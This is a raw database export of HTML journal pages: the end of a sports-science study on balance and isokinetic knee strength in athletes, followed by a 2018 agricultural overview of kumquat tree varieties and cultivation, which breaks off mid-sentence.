decreased surface was observed with 2 athletes OE and 9 CE while simulating the shooting position.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Mediolateral sway velocity of the COP (average X): we observed a decrease in mediolateral sway velocity with 3 athletes OE and 2 CE in the standard position. In the shooting position, the average X was decrease in 2 athletes OE and CE and was increased in one athlete CE.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Anteroposterior sway velocity of the COP (average Y): a decrease in anteroposterior sway velocity of the COP was observed in 6 athletes OE and 8 CE in the standard position. In the shooting position, the average Y was decreased in 8 athletes OE and CE.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Romberg&rsquo;s quotient (QRBG): in the standard position, 2 athletes had a QRBG equal to 100and 5 had a decreased QRBG. While simulating the shooting position, 2 athletes had a QRBG equal to 100 and one had a decreased QRBG.</span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.2. Isokinetic Evaluation</strong></span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">The collected data from the isokinetic evaluation is shown in table 3.</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#000066; width:42.35pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#000066; width:92.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>EXTENSION 60<sup>&deg;</sup>/SEC</strong></span></span></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#000066; width:81.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>FLEXION 60<sup>&deg;</sup>/SEC</strong></span></span></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#000066; width:81.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>EXTENSION 180<sup>&deg;</sup>/SEC</strong></span></span></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#000066; width:81.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>FLEXION 180<sup>&deg;</sup>/SEC</strong></span></span></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#000066; width:81.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>EXTENSION 300<sup>&deg;/</sup>SEC</strong></span></span></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#000066; width:81.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>FLEXION 300<sup>&deg;</sup>/SEC</strong></span></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:42.35pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:42.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Right</span></span></p>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Left</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Right</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Left</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Right</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Left</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Right</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Left</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Right</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Left</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Right</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Left</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:42.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>PT/Body mass</strong></span></span></p>\r\n			</td>\r\n			<td style=\"width:42.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">255&plusmn;58</span></span></p>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">252&plusmn;59</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">152&plusmn;38</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">140&plusmn;27</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">155&plusmn;33</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">151&plusmn;33</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">104&plusmn;23</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">96&plusmn;23</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">110&plusmn;23</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">104&plusmn;27</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">91&plusmn;22</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">54&plusmn;15</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:42.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>PT</strong></span></span></p>\r\n			</td>\r\n			<td style=\"width:42.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">179&plusmn;48</span></span></p>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">175&plusmn;45</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">107&plusmn;35</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">98&plusmn;24</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">109&plusmn;29</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">106&plusmn;27</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">74&plusmn;24</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">68&plusmn;22</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">77&plusmn;20</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">61&plusmn;25</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">75&plusmn;43</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">76&plusmn;15</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:42.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Pow</strong></span></span></p>\r\n			</td>\r\n			<td style=\"width:42.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">113&plusmn;32</span></span></p>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">102&plusmn;35</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">72&plusmn;27</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">68&plusmn;19</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">187&plusmn;55</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">174&plusmn;46</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">124&plusmn;51</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">119&plusmn;45</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">178&plusmn;46</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">163&plusmn;47</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">118&plusmn;56</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">104&plusmn;45</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:42.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>H/Q ratio</strong></span></span></p>\r\n			</td>\r\n			<td style=\"width:42.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">59&plusmn;9</span></span></p>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">56&plusmn;9</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">67&plusmn;9</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">63&plusmn;7</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">82&plusmn;12</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">75&plusmn;11</span></span></p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:40.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n</div>\r\n','1536048526.pdf',NULL,'1536048526.jpg','',0,1,'2018-09-04 13:38:45','2018-09-05 22:25:34',1),(4,35,'20','2018','Overview of Kumquat Tree - Management Practice and Varieties','Waleed Fouad Abobatta*','Research Article','Overview-of-Kumquat-Tree-Management-Practice-and-Varieties','Overview of Kumquat Tree - Management Practice and Varieties','Overview-of-Kumquat Tree - Management Practice and Varieties','Overview-of-Kumquat Tree - Management-Practice and Varieties','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Overview of Kumquat Tree - Management Practice and Varieties</strong></span></span></p>\r\n\r\n<p><strong>Waleed Fouad Abobatta<sup>*</sup></strong></p>\r\n\r\n<p><span style=\"font-size:10.0pt\">Citrus Department Horticulture Research Institute, Agriculture Research Center, Egypt</span></p>\r\n\r\n<p><sup><span style=\"font-size:10.0pt\"><span style=\"color:red\">*</span></span></sup><strong><span style=\"font-size:10.0pt\">Corresponding Author</span></strong><span style=\"font-size:10.0pt\">: Waleed Fouad Abobatta, Horticulture research Institute, Agriculture Research Center, Egypt. email: <a href=\"mailto:wabobatta@yahoo.com\">wabobatta@yahoo.com</a></span></p>\r\n\r\n<p><strong><span style=\"font-size:10.0pt\">Citation:</span></strong><span style=\"font-size:10.0pt\"> Abobatta WF (2018) </span><span style=\"font-size:10.0pt\">Overview of Kumquat tree - management practice and varieties</span><span style=\"font-size:10.0pt\">. Open Acc J Agri Res: OAJAR-100005.</span></p>\r\n\r\n<p><strong><span style=\"font-size:10.0pt\">Received Date: </span></strong><span style=\"font-size:10.0pt\">28 August, 2018;<strong> Accepted Date: </strong>14 September, 2018;<strong> Published Date: </strong>05 October, 2018</span></p>\r\n','','<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Summary</strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Kumquat tree considered the smallest citrus tree, the fruit is the only one in family Rutaceae eating whole with sweaty peel, kumquat tree tolerant cold conditions more than other citrus varieties, it could grow in wide range of soils and climate. There are four main verities of kumquat (Nagami, Meiwa, Marumi, and Hong kong), <span style=\"color:#222222\">Nagami kumquat is widely grown in different regions, as it is a more vigorous, hardy and prolific producer. kumquat</span> fruits are oval or round shape, it is reached by different nutrients and phytochemicals, and antioxidant like ascorbic acid, carotenoids, flavonoids, vitamins, Iron, and essential oils, also, Kumquats fruit are reaching in fiber, kumquat used as a fruit tree in the garden or an ornamental plant.</span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Background</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Kumquats are evergreen small trees or shrubs, it is a small tree in the family Rutaceae, it is slow growing citrus tree, kumquat tree called also &quot;The little gems of the Citrus family&quot; or &ldquo;Golden Orange&quot;, kumquat fruit considered the smallest citrus fruit, kumquat trees are cold tolerant than most citrus varieties, it is growing under cold conditions and survive down to (-7<sup>o</sup> c). Kumquats trees are native to China and South Asia<a href=\"https://en.wikipedia.org/wiki/South_Asia\"> </a>region, the first describe for kumquat was in Chinese literature in 1178 A.D., however, kumquat included in a list of plants cultivated in Japan in 1712. Kumquat introduces to Europe in 1846 by<a href=\"https://en.wikipedia.org/wiki/Robert_Fortune\"> </a><a href=\"https://en.wikipedia.org/wiki/Robert_Fortune\">Robert Fortune,</a> and thereafter into<a href=\"https://en.wikipedia.org/wiki/North_America\"> </a>North America<a href=\"https://en.wikipedia.org/wiki/North_America\">,</a> but now kumquat widely cultivated in various citrus-growing regions of the world. Kumquat fruits eating whole fruit with the peel when used as a fresh fruit, the peel is sweet and edible with a typical aroma due to the presence of flavonoids and terpenoids [1].&nbsp; also, it can be candied, prepared as marmalade, added to fruit salad and preserved in sugar syrup in the food industry, Kumquat also an important source of nutrients and phytochemicals, like ascorbic acid, carotenoids, flavonoids and essential oils [2]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Moreover, there are four kinds of kumquats, Meiwa Kumquat, Nagami Kumquat, Marumi Kumquat, and Hong Kong Kumquat, but the round kumquat variety, which looks like a small orange are the most spread verities, however, Nagami kumquat (<em>Fortunella margarita</em>) considered the most common variety in the world [3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>3. Botanical Discerption</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Kumquat is a small tree or shrubs one of the <em>Rutaceae</em> family, now classified as <em>Citrus Fortunella</em> or <em>Citrus japonica</em>, the kumquat tree in the field at full maturity and under proper conditions reach heights of 2 to 3 m (Figure 1), but generally average around 1.5 or 2 m, when used as pot plant it is grown much less that tall [4]. Kumquat dormancy is profound, and they break dormancy later than another citrus variety. Trees have a rounded or a vase-like canopy, with light-green branches has a few spines or thornless, the leaves are simple, dark-green, glossy above, lighter beneath, lanceolate, (3.25- 8.6 cm) long. Flowers are fragrant, white with 5-petals, borne in the leaf axils as a single flower or 1 to 4 together, In general, Kumquats are later blooming than other citrus varieties, the flowers are self-pollination as&nbsp;other citrus trees, the fruit is oval-oblong or round, (1.6- 4 cm) wide; peel is golden-yellow to reddish-orange, with large, conspicuous oil glands, the fruit peel is the&nbsp;sweetest part of this citrus fruit instead of the pulp, the pulp is scant, in 3 to 6 segments, not very juicy, acid to light acid; contains small, pointed seeds or sometimes none, the fruit matures in November or later, it is the only citrus fruit that can be eaten skin and all.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>3.1.&nbsp;Climate</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Kumquat required a hot summer, ranging from 26</span><sup><span style=\"color:red\">&ordm;</span></sup><span style=\"color:#222222\"> - 37</span><sup><span style=\"color:red\">&ordm;</span></sup><span style=\"color:#222222\"> C, also, need full sun, it could tolerant 10 to 15 degrees of frost without injury, due to the tree enter winter dormancy for several weeks to avoid cold injury, and remain without any new flushing or flowering for a period of warm weather. It grows in the regions where the climate is too cold for other citrus fruits, even the Satsuma mandarin, also, kumquat tree grows and tolerates seaside conditions which other citrus varieties could not, generally, Kumquat trees grow and fruiting better in warmer regions.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.2.&nbsp;Soil</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Kumquat trees tolerate a wide range of pH and most soil types from light soil to heavy clay, however a soil pH range between 5.5 and 6.5 is optimal for growth and productivity, preferable good drain soil.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.3.&nbsp;Propagation</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">As other citrus varieties kumquat trees are seldom grown from seed as they grown poorly on their own roots, therefore Kumquats grafted on other rootstocks like Rough lemon or trifoliate orange (<em>Poncirus trifoliata</em>), Rangpur lemon, also, Sour orange are suitable rootstocks for warm regions. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.4.&nbsp;Fertilizing</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Kumquat trees like other citrus varieties are heavy feeders and will benefit from a moderately nitrogen-rich soil but also require macro (N, P, K, and Ca) and micronutrients and trace minerals (Mg, Mn, Fe, Cu, Zn and B), after orchard established fertilizing program should be applied in moderate doses during growth season, also, preferable use foliar application for micro elements fertilizers, in late fall all fertilizing must be stooped to avoid produce new flushes affected by cold conditions. In the first year, the newly planted trees need about &frac14; kg of 8-8-8 or 13-13-13 fertilizers per tree applied in March,<strong> </strong>in the second year, fertilizers added as soil application in January or early February around&nbsp;500- 650g/tree of 8-8-8 or 13-13-13 per year. The mature tree (12 years old or more) received about 8kg/ tree/ yearly divided to about 6 doses during growth season.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>3.5. Pruning</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Kumquat tree needs little pruning, it is only to remove dead branches and suckers to maintain shape or reduce tree height, as other citrus trees pruning after harvesting to determined proper shape and control tree size, Also, in the young tree, all shoots under grafting union need to remove regularly.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.6&nbsp;Kumquat Varieties</strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">There are four varieties of Kumquats as following:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1. Nagami Fruits (Fortunella margarita)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2. Meiwa Fruits (Fortunella margarita)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3. Marumi Kumquat (Fortunella japonica Swing.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">4.Hong Kong (Fortunella hindsii)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The fruit has oval-shape and more oblong than the &lsquo;Meiwa&rsquo;(Figure2), Nagami fruits are more acid in taste, has a smooth, shiny rind that ranges from yellow-orange to deep orange color, Nagami is most commonly grown as it is a more vigorous, hardy and prolific producer, it is excellent in containers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1.1 Meiwa Fruits</strong><strong> </strong>(<em>Fortunella margarita)</em></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Meiwa tree is thornless and </span><span style=\"font-size:10.0pt\"><span style=\"font-family:Times New Roman,Times,serif\">fruit is more rounded and sometimes necked (Figure 3), there is variegation of fruits in color of green and yellow stripes, the fruit is large and fleshy, and has a sweet flavor, juicer, less seedy than other varieties, also, the fruit has thinner peel than other kumquats, it is considered the best kumquat for eating fresh.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1.2. Marumi </strong><strong>Kumquat</strong> (<em>Fortunella japonica</em> Swing.,)</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The fruits are round and sometimes, spherical, larger, fruits plump and golden, (Figure 4) has a spicy flavor, Meiwa kumquats fruits sweeter and juicier than Nagami kumquats.</span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1.3. Hong Kong </strong>(<em>Fortunella hindsii</em>)</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Hong Kong kumquat is the smallest fruited tree of the kumquats, the wild tree form of the species is naturally tetraploid, however, a cultivated trees are diploid form, and usually nominated Golden Bean kumquat, the leaves are small and narrow, it produces a lot of very small round red-orange fruits around a half inch in diameter (Figure 5) and&nbsp;the fruits are hold on the tree well, the fruit is very sour&nbsp; and the rind is thin, also, there are large seeds 2 or 3 in each fruit, therefore, the fruit is virtually inedible. Hong Kong kumquat tree is a slow grower, it is proper for ornamental purpose or as a pot plant,&nbsp;also, it is great as a bonsai plant [7].</span></p>\r\n\r\n<p><strong><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">4.2.&nbsp;Harvesting</span></span></strong></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Fruit ripens later than other citrus fruits, it starts ripening from mid to late winter and always crops very heavily, for the fresh fruit market, it has been customary to clip the fruits individually with 2 or 3 leaves attached to the stem [4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.3.&nbsp;<span style=\"font-size:10.0pt\">Kumquat as Pot Plant</span></strong></span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Kumquat tree considered a beautiful landscape or pot plant, for growth in containers, Kumquats need to graft on dwarfing rootstock like (Poncirus trifoliata or Cleopatra mandarin), and they can be trimmed to a smaller stature. As a potted plant, they can be grown anywhere and moved indoors or outdoors as the weather dictates, in the case of indoor plants, trees need some direct sunlight during the winter. Also, kumquat trees used as a pot plant in patios and courtyards.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.4.&nbsp;<span style=\"font-size:10.0pt\">Fruit Composition</span></strong>&nbsp;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Kumquats fruits including various nutrients and phytochemicals, such as ascorbic acid, carotenoids, flavonoids, vitamins, Iron, Calcium, Potassium, and essential oils, also, Kumquats fruit are reaching in fiber [8]. &nbsp;Each one kumquat provides about 14% of a person&rsquo;s daily value of vitamin C, therefore, Kumquats considered a well-balanced source of vitamins and antioxidants like Cryptoxanthin, zeaxanthin, and lutein [9].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"font-size:10.0pt\"><span style=\"font-size:10.0pt\">4.5. Fruit Uses</span></span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1.Kumquat fruits used as a fresh fruit, the peel totally the sweetest part of the fruit with a sweet flavor, however, the pulp is sour when eaten together it produces an unusual refreshing 